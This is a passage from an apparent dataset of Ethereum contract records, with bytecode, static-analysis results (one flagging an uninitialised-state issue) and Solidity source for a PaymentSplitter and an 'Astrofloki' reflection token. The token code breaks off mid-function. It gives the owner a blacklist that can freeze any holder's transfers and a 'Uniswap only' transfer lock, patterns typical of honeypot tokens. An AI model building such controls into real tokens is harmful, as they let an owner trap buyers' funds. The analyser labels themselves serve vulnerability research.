3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109275760009050610d92565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109f2575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109fe5750600082115b8015610a375750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ad35750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ad083600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b10155b8015610ae457506044600036905010155b1515610aef57600080fd5b610b4182600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd682600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca882600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6040805190810160405280600681526020017f763132303030000000000000000000000000000000000000000000000000000081525081565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7d57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f565254000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561103d5760009050611311565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561108c5750600082115b80156110c55750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111615750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115e83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b10155b801561117257506044600036905010155b151561117d57600080fd5b6111cf82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061126482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115795780820151818401525b60208101905061155d565b50505050905090810190601f1680156115a65780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f19250505015156115ce57600080fd5b600190505b9392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116e457600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15b5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118845780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b60008082840190508381101580156118a15750828110155b15156118a957fe5b8091505b5092915050565b60008282111515156118c257fe5b81830390505b929150505600a165627a7a723058208783e916e23675673038317020873654261325b4457bcb7b03707a6f429d7d250029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
9,567
0xdeA5F48Bc7F25acABaECAa1869B701D3ebc9a99B
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } }
0x6080604052600436106100595760003560e01c806319165587146100a55780633a98ef39146100ce5780638b83209b146100f95780639852595c14610136578063ce7c2ac214610173578063e33b7de3146101b0576100a0565b366100a0577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be7706100876101db565b34604051610096929190610827565b60405180910390a1005b600080fd5b3480156100b157600080fd5b506100cc60048036038101906100c79190610698565b6101e3565b005b3480156100da57600080fd5b506100e361044b565b6040516100f091906108d0565b60405180910390f35b34801561010557600080fd5b50610120600480360381019061011b91906106c5565b610454565b60405161012d91906107e3565b60405180910390f35b34801561014257600080fd5b5061015d6004803603810190610158919061066b565b61049c565b60405161016a91906108d0565b60405180910390f35b34801561017f57600080fd5b5061019a6004803603810190610195919061066b565b6104e5565b6040516101a791906108d0565b60405180910390f35b3480156101bc57600080fd5b506101c561052e565b6040516101d291906108d0565b60405180910390f35b600033905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025c90610850565b60405180910390fd5b6000600154476102759190610907565b90506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600054600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610307919061098e565b610311919061095d565b61031b91906109e8565b90506000811415610361576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610358906108b0565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103ac9190610907565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001546103fd9190610907565b60018190555061040d8382610538565b7fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056838260405161043e9291906107fe565b60405180910390a1505050565b60008054905090565b60006004828154811061046a57610469610afe565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600154905090565b8047101561057b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057290610890565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff16826040516105a1906107ce565b60006040518083038185875af1925050503d80600081146105de576040519150601f19603f3d011682016040523d82523d6000602084013e6105e3565b606091505b5050905080610627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061e90610870565b60405180910390fd5b505050565b60008135905061063b81610c4b565b92915050565b60008135905061065081610c62565b92915050565b60008135905061066581610c79565b92915050565b60006020828403121561068157610680610b2d565b5b600061068f8482850161062c565b91505092915050565b6000602082840312156106ae576106ad610b2d565b5b60006106bc84828501610641565b91505092915050565b6000602082840312156106db576106da610b2d565b5b60006106e984828501610656565b91505092915050565b6106fb81610a6a565b82525050565b61070a81610a1c565b82525050565b600061071d6026836108f6565b915061072882610b32565b604082019050919050565b6000610740603a836108f6565b915061074b82610b81565b604082019050919050565b6000610763601d836108f6565b915061076e82610bd0565b602082019050919050565b6000610786602b836108f6565b915061079182610bf9565b604082019050919050565b60006107a96000836108eb565b91506107b482610c48565b600082019050919050565b6107c881610a60565b82525050565b60006107d98261079c565b9150819050919050565b60006020820190506107f86000830184610701565b92915050565b600060408201905061081360008301856106f2565b61082060208301846107bf565b9392505050565b600060408201905061083c6000830185610701565b61084960208301846107bf565b9392505050565b6000602082019050818103600083015261086981610710565b9050919050565b6000602082019050818103600083015261088981610733565b9050919050565b600060208201905081810360008301526108a981610756565b9050919050565b600060208201905081810360008301526108c981610779565b9050919050565b60006020820190506108e560008301846107bf565b92915050565b600081905092915050565b600082825260208201905092915050565b600061091282610a60565b915061091d83610a60565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561095257610951610aa0565b5b828201905092915050565b600061096882610a60565b915061097383610a60565b92508261098357610982610acf565b5b828204905092915050565b600061099982610a60565b91506109a483610a60565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156109dd576109dc610aa0565b5b828202905092915050565b60006109f382610a60565b91506109fe83610a60565b925082821015610a1157610a10610aa0565b5b828203905092915050565b6000610a2782610a40565b9050919050565b6000610a3982610a40565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610a7582610a7c565b9050919050565b6000610a8782610a8e565b9050919050565b6000610a9982610a40565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b7f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060008201527f7368617265730000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b7f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060008201527f647565207061796d656e74000000000000000000000000000000000000000000602082015250565b50565b610c5481610a1c565b8114610c5f57600080fd5b50565b610c6b81610a2e565b8114610c7657600080fd5b50565b610c8281610a60565b8114610c8d57600080fd5b5056fea2646970667358221220aae5eba36d876604a86c572e15a0f2a3a484bf25e32e771df88f5cb2650de79d64736f6c63430008070033
{"success": true, "error": null, "results": {}}
9,568
0xd98d588c48d4b29975a7c694209ff8d912aa0e8f
//Telegram: https://t.me/Astrofloki // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Astrofloki is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Astrofloki | t.me/Astrofloki"; string private constant _symbol = "Astrofloki"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 15; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); 